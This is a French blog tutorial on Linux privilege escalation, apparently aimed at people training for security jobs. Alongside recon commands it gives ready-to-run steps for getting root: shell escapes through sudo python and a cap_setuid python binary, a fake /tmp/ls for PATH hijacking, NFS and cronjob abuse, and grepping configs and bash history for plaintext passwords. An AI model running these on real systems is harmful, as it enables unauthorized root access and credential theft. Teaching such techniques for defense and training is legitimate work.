Elevation de Privilège sur Linux
Découvrez comment les hackers élèvent leur privilèges sur les systèmes Linux pour devenir root.

Linux Privilege Escalation : Basics
Introduction
Je me dédouane de toute responsabilité concernant ce que vous allez faire de ce savoir. J'apprends à but pédagogique pour ceux qui souhaitent travailler en cybersécurité ici.
Sinon en gros, on va voir comment gagner des accès root (admin) sur Linux selon diverses manières.
Découverte Système
Principes
Avant d'exploiter une machine, il est important de bien comprendre l'environnement dans lequel on se trouve. L'objectif est d'identifier les faiblesses qui pourraient permettre une élévation de privilèges.
Commandes
Voici quelques commandes utiles pour collecter des informations sur le système :
sh
whoami # Afficher l'utilisateur actuel
id # Voir les groupes et UID/GID
uname -a # Détails sur le noyau
cat /etc/os-release # Informations sur la distribution
hostname # Nom de la machine
env # Variables d'environnement
ps aux # Processus en cours
netstat -tulnp # Ports ouverts et services associés
find / -perm -4000 2>/dev/null # Fichiers SUID
Outils d'Automatisation
Il existe plusieurs outils permettant d'automatiser cette reconnaissance :
Exploits Noyaux
Parfois, il est possible d'exploiter une vulnérabilité du noyau Linux pour obtenir une élévation de privilèges.
Quelques bases de données d'exploits :
La commande SUDO
Si un utilisateur a des privilèges sudo mal configurés, il peut potentiellement exécuter des commandes en tant que root :
sh
sudo -l # Voir les permissions sudo de l'utilisateur
Certains binaire peuvent être exploités via sudo sans mot de passe :
sh
sudo python3 -c 'import os; os.system("/bin/sh")'
Les SUID
gtfobins
Certains fichiers exécutables avec le bit SUID permettent d'exécuter du code en tant que root.
Vérification :
sh
find / -perm -4000 2>/dev/null
Utilisation de GTFOBins pour exploiter ces fichiers.
Capabilities
Les capabilities permettent à certains binaires d'avoir des permissions étendues.
Lister les fichiers avec des capabilities :
sh
getcap -r / 2>/dev/null
Exemple d'exploitation :
sh
getcap /usr/bin/python3 # Si cap_setuid+ep est présent, on peut devenir root
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Cronjobs
Si un cronjob est exécuté en tant que root et peut être modifié, il est possible d'obtenir une élévation de privilèges.
Lister les cronjobs :
sh
cat /etc/crontab
ls -la /etc/cron.*
Si un script exécuté par un cronjob est modifiable, il peut être remplacé par un script malveillant.
Environnement $PATH
Si un script est exécuté en tant que root et appelle une commande sans chemin absolu, il est possible d'exploiter $PATH pour exécuter un binaire malveillant à la place.
sh
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/sh' > /tmp/ls
chmod +x /tmp/ls
Si un script exécute ls
sans spécifier /bin/ls
, notre binaire sera exécuté à la place.
Partage NFS
Si un partage NFS permet une exécution non sécurisée, il est parfois possible d'obtenir un accès root sur la machine cible.
Lister les partages NFS :
sh
showmount -e <IP>
Monter un partage et voir si l'on peut créer un fichier root :
sh
sudo mount -o rw,vers=3 <IP>:/mnt/share /mnt
cd /mnt && touch test
Les Services
Certains services mal configurés peuvent permettre une élévation de privilèges.
Lister les services en cours d'exécution :
sh
systemctl list-units --type=service
Vérifier si des services sont exécutés en tant que root et modifiables.
Trouver les Mots de Passe
Chercher des mots de passe stockés en clair :
sh
grep -r "password" /etc/
find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null
Rechercher dans l'historique bash :
sh
cat ~/.bash_history
Commentaires (0)
Aucun commentaire pour le moment. Soyez le premier à commenter !
Articles précédents

Elevation de Privilege sur Windows
Découvrez comment les hackers élèvent leur privilège sur Windows, ayant des droits Admin voir Système

Apprendre à Créer un Active directory
Apprenez à créer un Active Directory, cet article est pour les futurs techniciens et sysadmin en puissance.

Cachez du texte dans des images avec la Stéganographie
La stéganographie est l'art et la technique de dissimuler des messages confidentiels dans un support de couverture de manière à ce que personne ne soupçonne l'existence du message.
Articles suivants

Le SEO BlackHat c'est quoi ?
Comprendre le SEO c'est bien, comprendre toutes les variantes c'est mieux, notamment celle du BlackHat ou SEO BH

Simplifiez vous la vie sur Linux : Skel & .Bashrc
Apprendre à utiliser le /etc/skel et le .bashrc sur linux pour simplifier son environnement de travail Linux.

Powershell et $PROFILE sur Windows
Découvrez l'alternative du .bashrc de Linux, pour Windows cette fois-ci afin de vous faciliter la vie.